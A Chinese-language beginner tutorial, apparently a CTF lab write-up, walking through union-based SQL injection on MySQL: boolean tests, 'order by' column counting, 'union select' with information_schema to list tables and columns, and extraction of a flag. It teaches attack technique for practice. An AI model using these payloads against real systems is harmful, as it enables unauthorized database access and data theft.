大家好我是星,今天更新的文章主要围绕着SQL 注入的基础操作进行学习,适合零基础的同学学习,以及刚刚学习注入的同学进行命令的巩固和对注入流程的熟悉。

本文因特殊原因无法提供具体靶场,文章主要是通过查看命令巩固显注入的一般流程。

SQL注入基础---显错注入

  • 首先查询是否有sql注入
    • 查询的语句分别为:
  • 找见相关的数据库
    • 利用 order by 语句判断显示位---->猜字段
      • order by 1
      • order by 2
      • order by 3
      • order by 4
    • 获取表名
    • 最后一步---获取flag内容

首先查询是否有sql注入

查询的语句分别为:

- select \*from user where id=1 and 2<5
- select \*from user where id=1 and 5<2

如果存在SQL注入,第一条语句正常运行,第二条语句报错:

第一条查询结果:

第二条查询结果

因此存在SQL注入!

找见相关的数据库

利用 order by 语句判断显示位---->猜字段

order by 用于判断显示位,order by 原有的作用是对列进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个列进行排序,如果一共四个列,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值。

order by 1

order by 2

order by 3

order by 4


发现order by 4时无输出,因此有三个字段。
##通过union select确认输出位

  • union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sql查询(我们添加的),但两张表联合查询的列(列)数必须相同。

  • 通过上面的查询得知,有3个字段,因此联立查询时查询语句和结果为:


得知输出位为第二列和第三列第一列不输出。

获取表名

利用数据库自带的库information_schema;

  • information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在。
    查询语句和结果如下:

    得到第一个表名为:user


    得到第二个表名为:error_flag
    采用limit语句,limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据。
    ##查询列对应的数据(行)

  • limit0,0
    select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1

  • limit1,1
    select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1

最后一步—获取flag内容

and 1=2 union select 1,flag,3 from error_flag


最后到平台提交flag即可。

更多推荐

【SQL注入基础---显错注入】